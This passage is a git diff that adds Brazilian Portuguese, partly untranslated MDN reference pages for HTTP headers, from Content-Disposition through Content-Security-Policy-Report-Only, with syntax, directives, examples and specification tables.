<em>case-insensitive </em>e possuem argumentos que usam a sintaxe de cadeia de caracteres delimitadas por aspas depois do sinal <code>'='</code>. Múltiplos parâmetros são separados por um ponto e vírgula (<code>';'</code>).</p> + +<pre class="syntaxbox">Content-Disposition: form-data +Content-Disposition: form-data; name="fieldName" +Content-Disposition: form-data; name="fieldName"; filename="filename.jpg"</pre> + +<h3 id="Diretivas">Diretivas</h3> + +<dl> + <dt><code>name</code></dt> + <dd>O nome é seguido por uma cadeia de caracteres contendo o nome do campo HTML no formulário que o conteúdo dessa subparte se refere. Quando lidando com múltiplos arquivos no mesmo campo (por exemplo, o atributo {{htmlattrxref("multiple", "input")}} de um elemento <code>{HTMLElement("input","<input type=\"file\">")}}</code>), podem haver diversas subpartes com o mesmo nome.</dd> + <dd>Um <code>name</code> com o valor de <code>'_charset_'</code> indica que a parte não é um campo HTML, mas uma codificação para usar em partes sem explicitar a informação de codificação.</dd> + <dt><code>filename</code></dt> + <dd>É seguido por uma cadeia de caracteres contendo o nome original do arquivo transmitido. O nome do arquivo é sempre opcional e não deve ser usado cegamente pela aplicação: informação de caminho deve ser removida, e conversão para as regras do sistema de arquivo do servidor devem ser feitas. Este parâmetro provém a maior parte da informação indicativa. Quando usado em combinação com <code>Content-Disposition: attachment</code>, ele é usado como nome de arquivo padrão para uma eventual caixa de diálogo "Salvar como" apresentado ao usuário.</dd> + <dt><code>filename*</code></dt> + <dd> + <p>Os parâmetros "filename" e "filename*" se diferenciam somente no fato de que "filename*" usa a codificação definida na <a href="https://tools.ietf.org/html/rfc5987">RFC 5987</a>. Quando ambos "filename" e "filename*" estão presentes em um único campo de valor do cabeçalho, "filename*" é preferido sobre "filename" quando ambos são entendidos.</p> + </dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<p>Uma resposta ativando a caixa de diálogo "Salvar como":</p> + +<pre>200 OK +Content-Type: text/html; charset=utf-8 +Content-Disposition: attachment; filename="cool.html" +Content-Length: 21 + +<HTML>Me salve!</HTML> +</pre> + +<p>O simples arquivo HTML será salvo como um download regular ao invés de ser mostrado no navegador. A maioria dos navegadores irá propôr salvar o arquivo como nome de <code>cool.html</code> (por padrão).</p> + +<p>Um exemplo de um formulário de HTML postado usando o formato <code>multipart/form-data</code> que faz o uso do cabeçalho <code>Content-Disposition</code>:</p> + +<pre>POST /test.html HTTP/1.1 +Host: example.org +Content-Type: multipart/form-data;boundary="boundary" + +--boundary +Content-Disposition: form-data; name="field1" + +value1 +--boundary +Content-Disposition: form-data; name="field2"; filename="example.txt" + +value2 +--boundary--</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7578")}}</td> + <td>Returning Values from Forms: multipart/form-data</td> + </tr> + <tr> + <td>{{RFC("6266")}}</td> + <td>Use of the Content-Disposition Header Field in the Hypertext Transfer Protocol (HTTP)</td> + </tr> + <tr> + <td>{{RFC("2183")}}</td> + <td>Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Content-Disposition")}}</p> + +<h2 id="Notas_de_compatibilidade">Notas de compatibilidade</h2> + +<ul> + <li>Firefox 5 lida com o cabeçalho de resposta HTTP <code>Content-Disposition</code> mais efetivamente se ambos parâmetros <code>filename</code> e <code>filename*</code> são providos; ele olha através de todos os nomes providenciados, usando o parâmetro <code>filename*</code> se um estiver disponível, mesmo se o parâmetro <code>filename</code> estiver incluído primeiro. Anteriormente, o primeiro parâmetro que combinasse seria utilizado, Previously, the first matching parameter would be used, desse modo prevenindo um nome mais apropriado de ser utilizado. Veja {{bug(588781)}}.</li> +</ul> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="/en-US/docs/Web/Guide/HTML/Forms">Formulários HTML</a></li> + <li>O cabeçalho {{HTTPHeader("Content-Type")}} definindo o limite do corpo multipartes.</li> + <li>A interface {{domxref("FormData")}} usada para manipular dados de formulários para uso na API {{domxref("XMLHttpRequest")}}.</li> +</ul> diff --git a/files/pt-br/web/http/headers/content-encoding/index.html b/files/pt-br/web/http/headers/content-encoding/index.html new file mode 100644 index 0000000000..7a04dcadb6 --- /dev/null +++ b/files/pt-br/web/http/headers/content-encoding/index.html @@ -0,0 +1,108 @@ +--- +title: Content-Encoding +slug: Web/HTTP/Headers/Content-Encoding +tags: + - Cabeçalhos + - HTTP + - Reference + - Referencia +translation_of: Web/HTTP/Headers/Content-Encoding +--- +<div>{{HTTPSidebar}}</div> + +<p>The <strong><code>Content-Encoding</code></strong> entity header is used to compress the media-type. When present, its value indicates which encodings were applied to the entity-body. It lets the client know how to decode in order to obtain the media-type referenced by the <code>Content-Type</code> header.</p> + +<p>The recommendation is to compress data as much as possible and therefore to use this field, but some types of resources, such as jpeg images, are already compressed. Sometimes, using additional compression doesn't reduce payload size and can even make the payload longer.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Entity header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Content-Encoding: gzip +Content-Encoding: compress +Content-Encoding: deflate +Content-Encoding: identity +Content-Encoding: br + +// Múltiplo, em ordem nos quais serão aplicados +Content-Encoding: gzip, identity +Content-Encoding: deflate, gzip +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><code>gzip</code></dt> + <dd>A format using the <a class="external" href="http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77">Lempel-Ziv coding</a> (LZ77), with a 32-bit CRC. This is the original format of the UNIX <em>gzip</em> program. The HTTP/1.1 standard also recommends that the servers supporting this content-encoding should recognize <code>x-gzip</code> as an alias, for compatibility purposes.</dd> + <dt><code>compress</code></dt> + <dd>A format using the <a class="external" href="http://en.wikipedia.org/wiki/LZW">Lempel-Ziv-Welch</a> (LZW) algorithm. The value name was taken from the UNIX <em>compress</em> program, which implemented this algorithm. Like the compress program, which has disappeared from most UNIX distributions, this content-encoding is not used by many browsers today, partly because of a patent issue (it expired in 2003).</dd> + <dt><code>deflate</code></dt> + <dd>Using the <a class="external" href="http://en.wikipedia.org/wiki/Zlib">zlib</a> structure (defined in <a class="external" href="http://tools.ietf.org/html/rfc1950">RFC 1950</a>) with the <a class="external" href="http://en.wikipedia.org/wiki/DEFLATE"><em>deflate</em></a> compression algorithm (defined in <a class="external" href="http://tools.ietf.org/html/rfc1951">RFC 1951</a>).</dd> + <dt><code>identity</code></dt> + <dd>Indicates the identity function (i.e., no compression or modification). This token, except if explicitly specified, is always deemed acceptable.</dd> + <dt><code>br</code></dt> + <dd>A format using the <a href="https://en.wikipedia.org/wiki/Brotli">Brotli</a> algorithm.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<h3 id="Comprimindo_com_gzip">Comprimindo com gzip</h3> + +<p>On the client side, you can advertise a list of compression schemes that will be sent along in an HTTP request. The {{HTTPHeader("Accept-Encoding")}} header is used for negotiating content encoding.</p> + +<pre>Accept-Encoding: gzip, deflate</pre> + +<p>The server responds with the scheme used, indicated by the <code>Content-Encoding</code> response header.</p> + +<pre>Content-Encoding: gzip</pre> + +<p>Note that the server is not obligated to use any compression method. Compression highly depends on server settings and used server modules.</p> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7932", "Brotli Compressed Data Format")}}</td> + <td>Brotli Compressed Data Format</td> + </tr> + <tr> + <td>{{RFC("7231", "Content-Encoding", "3.1.2.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + <tr> + <td>{{RFC("2616", "Content-Encoding", "14.11")}}</td> + <td>Content-Encoding</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Content-Encoding")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Accept-Encoding")}}</li> + <li>{{HTTPHeader("Transfer-Encoding")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/content-language/index.html b/files/pt-br/web/http/headers/content-language/index.html new file mode 100644 index 0000000000..c0565daa57 --- /dev/null +++ b/files/pt-br/web/http/headers/content-language/index.html @@ -0,0 +1,104 @@ +--- +title: Content-Language +slug: Web/HTTP/Headers/Content-Language +tags: + - HTTP + - Headers + - Referencia +translation_of: Web/HTTP/Headers/Content-Language +--- +<div>{{HTTPSidebar}}</div> + +<p>O <a href="/pt-BR/docs/Glossario/Entity_header">cabeçalho de entidade</a> <strong><code>Content-Language</code></strong> é usado para descrever a língua(s) destinada para a audiência, para que isto permita um usuário de se diferenciar de acordo com a língua preferida do usuário.</p> + +<p>Por exemplo, se "<code>Content-Language: de-DE</code>" está selecionado, você diz que o documento é destinado para quem fala Alemão (no entanto, não indica que o documento é escrito em Alemão. Por exemplo, pode ser escrito em Inglês como parte de um curso de línguas para fluentes em Alemão).</p> + +<p>Se nenhum <code>Content-Language</code> é especificado, o padrão é que o conteúdo é destinado para todas as línguas. Múltiplas tags de língua também podem ser usada, assim como usar o header <code>Content-Language</code> com varios tipos de mídia e não apenas para documentos de texto.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Entity header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + <tr> + <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th> + <td>sim</td> + </tr> + <tr> + <th scope="row">{{Glossary("Simple header", "CORS-safelisted request-header")}}</th> + <td>sim</td> + </tr> + </tbody> +</table> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">Content-Language: de-DE +Content-Language: en-US +Content-Language: de-DE, en-CA +</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><code>language-tag</code></dt> + <dd>Múltiplas tags de línguas são separadas por uma vírgula. Cada tag de língua é uma sequencia de uma ou mais subtags insensitíveis, cada uma separada por um hífen ("<code>-</code>", <code>%x2D</code>). Na maioria dos casos, uma tag de língua consiste de uma tag de língua primária que identifica uma família ampla de outras línguas (ex., "<code>en</code>" = English), que é opcionalmente seguida por uma série de subtags que refinam ou restringem aquele alcance da língua (ex., "<code>en-CA</code>" = variedade de Inglês como comunicado no Canadá).</dd> +</dl> + +<div class="note"> +<p><strong>Nota:</strong> Tags de língua são formalmente deifnidas em <a href="https://tools.ietf.org/html/rfc5646">RFC 5646</a>, que depende do padrão <a href="https://en.wikipedia.org/wiki/ISO_639">ISO 639</a> (muitas vezes o <a href="https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes">ISO 639-1 code list</a>) para <a href="https://en.wikipedia.org/wiki/Language_code">language codes</a> serem usados.</p> +</div> + +<h2 id="Exemplos">Exemplos</h2> + +<h3 id="Indicando_a_língua_que_um_documento_está_escrito">Indicando a língua que um documento está escrito</h3> + +<p>O atributo global <code><a href="/en-US/docs/Web/HTML/Global_attributes/lang">lang</a></code> é usado em elementos HTML para indicar a língua de um documento <a href="/en-US/docs/Web/HTML">HTML</a> ou partes dele.</p> + +<pre class="brush: html"><html lang="de"></pre> + +<p>Não use este elemento meta como o abaixo para definir a língua de um documento:</p> + +<pre class="brush: html example-bad"><!-- /!\ Esta prática é ruim --> +<meta http-equiv="content-language" content="de"></pre> + +<h3 id="Indicando_uma_audiência_destinada_para_um_documento">Indicando uma audiência destinada para um documento</h3> + +<p>O header <code>Content-Language</code> é usado para especificar a <strong>audiência destinada da página</strong>, e pode indicar que é mais de uma língua.</p> + +<pre>Content-Language: de, en</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "Content-Language", "3.1.3.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_browser">Compatibilidade de browser</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Content-Language")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Accept-Language")}}</li> + <li> + <p><a href="https://www.w3.org/International/questions/qa-http-and-lang.en">HTTP headers, meta elements and language information</a></p> + </li> +</ul> diff --git a/files/pt-br/web/http/headers/content-length/index.html b/files/pt-br/web/http/headers/content-length/index.html new file mode 100644 index 0000000000..dca35d3988 --- /dev/null +++ b/files/pt-br/web/http/headers/content-length/index.html @@ -0,0 +1,64 @@ +--- +title: Content-Length +slug: Web/HTTP/Headers/Content-Length +tags: + - Cabeçalhos + - HTTP + - Referencia +translation_of: Web/HTTP/Headers/Content-Length +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de entidade <strong><code>Content-Length</code></strong> indica o tamanho do corpo da entidade, em bytes, enviado ao destinatário.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Entity header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>sim</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Content-Length: <tamanho> +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><tamanho></dt> + <dd>O tamanho em número decimal de octetos.</dd> +</dl> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7230", "Content-Length", "3.3.2")}}</td> + <td>Protocolo de Transferência de Hypertexto (HTTP/1.1): Sintaxe de mensagem e Roteamento</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegadores">Compatibilidade de navegadores</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Content-Length")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Transfer-Encoding")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/content-location/index.html b/files/pt-br/web/http/headers/content-location/index.html new file mode 100644 index 0000000000..83b6edc739 --- /dev/null +++ b/files/pt-br/web/http/headers/content-location/index.html @@ -0,0 +1,156 @@ +--- +title: Content-Location +slug: Web/HTTP/Headers/Content-Location +translation_of: Web/HTTP/Headers/Content-Location +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho <strong><code>Content-Location</code></strong> indica uma localização alternativa para os dados retornados. O principal uso é para indicar o URL de um recurso transmitido como resultado de uma <a href="/en-US/docs/Web/HTTP/Content_negotiation">negociação de conteúdo</a>.</p> + +<p>{{HTTPHeader("Location")}} e <code>Content-Location</code> são diferentes. <code>Location</code> indica o URL de um redirecionamento, enquanto <code>Content-Location</code> indica o URL direto usado para acessar o recurso, sem qualquer outra negociação de conteúdo no futuro. <code>Location</code> é um cabeçalho associado com a resposta, enquanto <code>Content-Location</code> é associado com os dados retornados. Essa distinção parece abstrata sem exemplos. Essa distinção pode parecer abstrata sem <a href="#Exemplos">exemplos</a>.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Entity header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Content-Location: <url> +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><url></dt> + <dd>Uma URL <a href="/en-US/docs/Learn/Common_questions/What_is_a_URL#Examples_of_relative_URLs">relativa</a> (à URL da requisição) ou URL <a href="/en-US/docs/Learn/Common_questions/What_is_a_URL#Examples_of_absolute_URLs">absoluta</a>.</dd> +</dl> + +<h2 id="Exemplos_2"><a name="Exemplos">Exemplos</a></h2> + +<h3 id="Requerindo_dados_de_um_servidor_em_diferentes_formatos">Requerindo dados de um servidor em diferentes formatos</h3> + +<p>Digamos que uma API de um site pode retornar dados em formatos {{glossary("JSON")}}, {{glossary("XML")}}, ou <a href="https://en.wikipedia.org/wiki/Comma-separated_values" rel="external" title="Comma-separated values">CSV</a>. Se a URL para um documento em particular está em <code>https://example.com/documents/foo</code>, o site pode retornar diferentes URLs para <code>Content-Location</code> dependendo do cabeçalho {{HTTPHeader("Accept")}} nas requisições:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Cabeçalho de requisição</th> + <th scope="col">Cabeçalho de resposta</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>Accept: application/json, text/json</code></td> + <td><code>Content-Location: /documents/foo.json</code></td> + </tr> + <tr> + <td><code>Accept: application/xml, text/xml</code></td> + <td><code>Content-Location: /documents/foo.xml</code></td> + </tr> + <tr> + <td><code>Accept: text/plain, text/*</code></td> + <td><code>Content-Location: /documents/foo.txt</code></td> + </tr> + </tbody> +</table> + +<p>Estas URLs são exemplos — o site pode servir diferentes formatos de arquivos com qualquer padrão URL que ele deseje, como por exemplo, um <a href="/en-US/docs/Web/API/HTMLHyperlinkElementUtils/search">query string parameter</a>: <code>/documents/foo?format=json</code>, <code>/documents/foo?format=xml</code>, entre outros.</p> + +<p>Então o cliente pode lembrar que a versão JSON está disponível em uma URL em particular, evitando negociação de conteúdo da próxima vez que ele requerer aquele documento.</p> + +<p>O servidor também pode considerar outros cabeçalhos de <a href="/en-US/docs/Web/HTTP/Content_negotiation">negociação de conteúdo</a>, como o {{HTTPHeader("Accept-Language")}}.</p> + +<h3 id="Apontando_para_um_novo_documento_HTTP_201_Created">Apontando para um novo documento (HTTP 201 Created)</h3> + +<p>Digamos que você está criando um novo <em>post </em>no blog através da API do site:</p> + +<pre>PUT /new/post +Host: example.com +Content-Type: text/markdown + +# Meu primeiro post no blog! + +Eu fiz através da API do `example.com`. Espero que ele tenha funcionado. +</pre> + +<p>O site retorna uma mensagem de sucesso genérica confirmando que o <em>post</em> foi publicado. O servidor especifica onde o novo <em>post</em> está com <code>Content-Location</code>:</p> + +<pre>HTTP/1.1 201 Created +Content-Type: text/plain; charset=utf-8 +Content-Location: /meu-primeiro-post-no-blog + +✅ Sucesso! +</pre> + +<h3 id="Indicando_a_URL_do_resultado_de_uma_transação">Indicando a URL do resultado de uma transação</h3> + +<p>Digamos que você tem um <code><a href="/en-US/docs/Web/HTML/Element/form"><form></a></code> para enviar dinheiro para outro usuário do de um site.</p> + +<pre class="brush: html"><form action="/mandar-pagamento" method="post"> + <p> + <label>Para quem você quer enviar o dinheiro? + <input type="text" name="destinatario"> + </label> + </p> + + <p> + <label>Quanto? + <input type="number" name="quantidade"> + </label> + </p> + + <button type="submit">Enviar Dinheiro</button> +</form> +</pre> + +<p>Quando o formulário é submetido, o site gera um recibo para a transação. O servidor pode usar <code>Content-Location</code> para indicar a URL do recibo para acesso futuro.</p> + +<pre>HTTP/1.1 200 OK +Content-Type: text/html; charset=utf-8 +Content-Location: /meus-recibos/38 + +<!doctype html> +<em>(Um monte de HTML…)</em> + +<p>Você mandou R$38.00 para UsuárioExemplo.</p> + +<em>(Mais um monte de HTML…)</em> +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "Content-Location", "3.1.4.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Content-Location")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Location")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/content-range/index.html b/files/pt-br/web/http/headers/content-range/index.html new file mode 100644 index 0000000000..feb5fd983a --- /dev/null +++ b/files/pt-br/web/http/headers/content-range/index.html @@ -0,0 +1,89 @@ +--- +title: Content-Range +slug: Web/HTTP/Headers/Content-Range +tags: + - Cabeçalho HTTP + - Cabeçalho de Resposta + - HTTP + - Referencia + - cabeçalho +translation_of: Web/HTTP/Headers/Content-Range +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de resposta HTTP <strong><code>Content-Range</code></strong> indica em que lugar uma mensagem parcial pertence em uma mensagem completa no corpo.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + <tr> + <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Content-Range: <unit> <range-start>-<range-end>/<size> +Content-Range: <unit> <range-start>-<range-end>/* +Content-Range: <unit> */<size></pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><unit></dt> + <dd>A unidade nos quais a variação é especificada. Geralmente em <code>bytes</code>.</dd> +</dl> + +<dl> + <dt><range-start></dt> + <dd>Um inteiro na dada unidade indicando o começo da variação da requisitada.</dd> + <dt><range-end></dt> + <dd>Um inteiro na dada unidade indicando o fim da variação requisitada.</dd> + <dt><size></dt> + <dd>O tamanho total do documento (ou <code>'*'</code> se desconhecido).</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre>Content-Range: bytes 200-1000/67589 +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7233", "Content-Range", "4.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Content-Range")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("If-Range")}}</li> + <li>{{HTTPHeader("Range")}}</li> + <li>{{HTTPHeader("Content-Type")}}</li> + <li>{{HTTPStatus("206")}} <code>Partial Content</code></li> + <li>{{HTTPStatus("416")}} <code>Range Not Satisfiable</code></li> +</ul> diff --git a/files/pt-br/web/http/headers/content-security-policy-report-only/index.html b/files/pt-br/web/http/headers/content-security-policy-report-only/index.html new file mode 100644 index 0000000000..41152b8d4e --- /dev/null +++ b/files/pt-br/web/http/headers/content-security-policy-report-only/index.html @@ -0,0 +1,154 @@ +--- +title: Content-Security-Policy-Report-Only +slug: Web/HTTP/Headers/Content-Security-Policy-Report-Only +tags: + - CSP + - HTTP + - HTTPS + - Referencia + - Segurança + - cabeçalho +translation_of: Web/HTTP/Headers/Content-Security-Policy-Report-Only +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de resposta HTTP <strong><code>Content-Security-Policy-Report-Only</code></strong> permite aos desenvolvedores <em>web</em> experimentar políticas monitorando (mas não forçando) seus efeitos. Esses relatórios de violação consistem de documentos {{Glossary("JSON")}} enviados por uma requisição HTTP <code>POST</code> para a URI especificada.</p> + +<p>Para mais informações, veja também este artigo em <a href="/en-US/docs/Web/HTTP/CSP">Content Security Policy (CSP)</a>.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + <tr> + <th colspan="2" scope="row">Este cabeçalho não é suportado dentro de um elemento {{HTMLElement("meta")}}.</th> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">Content-Security-Policy-Report-Only: <policy-directive>; <policy-directive> +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<p>As diretivas do cabeçalho {{HTTPHeader("Content-Security-Policy")}} também podem ser aplicadas para <code>Content-Security-Policy-Report-Only</code>.</p> + +<p>A diretiva CSP {{CSP("report-uri")}} deve ser utilizada com este cabeçalho, caso contrário este cabeçalho será uma custosa operação sem ação para a máquina.</p> + +<h2 id="Exemplos">Exemplos</h2> + +<p>Este cabeçalho reporta violações que podem ter ocorrido. Você pode usar isso para trabalhar iterativamente na sua política de segurança de conteúdo. Você observa como seu site se comporta, observando para relatórios de violação ou <a href="https://secure.wphackedhelp.com/blog/wordpress-malware-redirect-hack-cleanup/">redirecionamento de <em>malware</em></a>, então escolha a política forçada desejada pelo cabeçalho {{HTTPHeader("Content-Security-Policy")}}.</p> + +<pre class="notranslate">Content-Security-Policy-Report-Only: default-src https:; report-uri /csp-violation-report-endpoint/</pre> + +<p>Se você ainda quer continuar recebendo relatórios, mas também quer reforçar a política, use o cabeçalho {{HTTPHeader("Content-Security-Policy")}} com a diretiva {{CSP("report-uri")}}.</p> + +<pre class="notranslate">Content-Security-Policy: default-src https:; report-uri /csp-violation-report-endpoint/</pre> + +<h2 id="Sintaxe_de_relatório_de_violação">Sintaxe de relatório de violação</h2> + +<p>O objeto de relatório JSON contém os seguintes dados:</p> + +<dl> + <dt><code>blocked-uri</code></dt> + <dd>A URI do recurso que estava bloqueada de carregar pela Política de Segurança de Conteúdo. Se a URI bloqueada é de uma origem diferente da URI do documento, então a URI bloqueada é truncada para conter somente o esquema, <em>host</em>, e a porta.</dd> + <dt><code><span>disposition</span></code></dt> + <dd>Ou <code>"enforce"</code> ou <code>"report"</code> dependendo se o cabeçalho {{HTTPHeader("Content-Security-Policy")}} ou o <code>Content-Security-Policy-Report-Only</code> é utilizado.</dd> + <dt><code>document-uri</code></dt> + <dd>A URI do documento na qual a violação ocorreu.</dd> + <dt><code><span>effective-directive</span></code></dt> + <dd>A diretiva na qual a execução causou a violação.</dd> + <dt><code>original-policy</code></dt> + <dd>A política original como especificada pelo cabeçalho HTTP <code>Content-Security-Policy-Report-Only</code>.</dd> + <dt><code>referrer</code></dt> + <dd>A referência do documento onde a violação ocorreu.</dd> + <dt><code>script-sample</code></dt> + <dd>Os primeiros 40 caracteres do <em>script</em> em linha, manejador de evento, ou estilo que causou a violação.</dd> + <dt><code>status-code</code></dt> + <dd>O código de status HTTP do recurso no qual o objeto global foi instanciado.</dd> + <dt><code>violated-directive</code></dt> + <dd>O nome da seção da política que foi violada.</dd> +</dl> + +<h2 id="Exemplo_de_relatório_de_violação">Exemplo de relatório de violação</h2> + +<div>Vamos considerar a página localizada em <code>http://example.com/signup.html</code>. Ele usa a seguinte política, desabilitando tudo menos arquivos de estilo de <code>cdn.example.com</code>.</div> + +<div> +<pre class="notranslate">Content-Security-Policy-Report-Only: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports</pre> +</div> + +<div>O HTML de <code>signup.html</code> se parece com isto:</div> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html> + <head> + <title>Sign Up</title> + <link rel="stylesheet" href="css/style.css"> + </head> + <body> + ... Conteúdo ... + </body> +</html></pre> + +<div>Você consegue observar a violação? Arquivos de estilos são permitidos serem carregados somente de <code>cdn.example.com</code>, entretanto o site tenta carregar um de sua origem (<code>http://example.com</code>). O navegador capaz de executar CSP irá mandar o seguinte relatório de violação como requisição POST para <code>http://example.com/_/csp-reports</code>, quando o documento é visitado:</div> + +<pre class="brush: js notranslate">{ + "csp-report": { + "document-uri": "http://example.com/signup.html", + "referrer": "", + "blocked-uri": "http://example.com/css/style.css", + "violated-directive": "style-src cdn.example.com", + "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports", + "disposition": "report" + } +}</pre> + +<p>Como você pode ver, o relatório inclui o caminho completo para o recurso violado em <code>blocked-uri</code>. Isso não é sempre o caso. Por exemplo, quando o <code>signup.html</code> irá tentar carregar o CSS de <code>http://anothercdn.example.com/stylesheet.css</code>, o navegador não irá incluir o caminho completo, somente a origem será inclusa (<code>http://anothercdn.example.com</code>). Isso é feito para prevenir o vazamento de informações sensíveis sobre recursos entre origens.</p> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Status</th> + <th scope="col">Comentário</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{specName("CSP 